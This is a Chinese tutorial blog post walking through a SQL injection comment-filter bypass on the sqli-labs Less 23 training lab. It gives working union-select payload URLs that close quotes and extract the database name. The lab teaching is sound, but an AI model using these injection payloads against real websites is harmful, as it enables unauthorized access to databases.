怎么繞過去除注釋符Get

發(fā)布時間：2021-12-09 18:37:34 來源：億速云閱讀：102 作者：柒染欄目：大數(shù)據(jù)

這篇文章給大家介紹怎么繞過去除注釋符Get，內(nèi)容非常詳細(xì)，感興趣的小伙伴們可以參考借鑒，希望對大家能有所幫助。

環(huán)境sqli-labs

less 23

1、輸入?id=1,正常運(yùn)行

2、輸入特殊字符報錯

3、單引號閉合，但是發(fā)現(xiàn)# --+等都被過濾了

怎么繞過去除注釋符Get

4、使用下面代碼閉合

192.168.1.121/sqli/less-23?id=1' or '1'='1

5、用union select判斷字段數(shù)

192.168.1.121/sqli/less-23?id=1' union select 1,2,3 or '1'='1

6、讓id報錯，union select生效

192.168.1.121/sqli/less-23?id=-1' union select 1,2,3 or '1'='1

7、獲取數(shù)據(jù)庫名稱

192.168.1.121/sqli/less-23?id=-1' union select 1,database(),3 or '1'='1

關(guān)于怎么繞過去除注釋符Get就分享到這里了，希望以上內(nèi)容可以對大家有一定的幫助，可以學(xué)到更多知識。如果覺得文章不錯，可以把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

猜你喜歡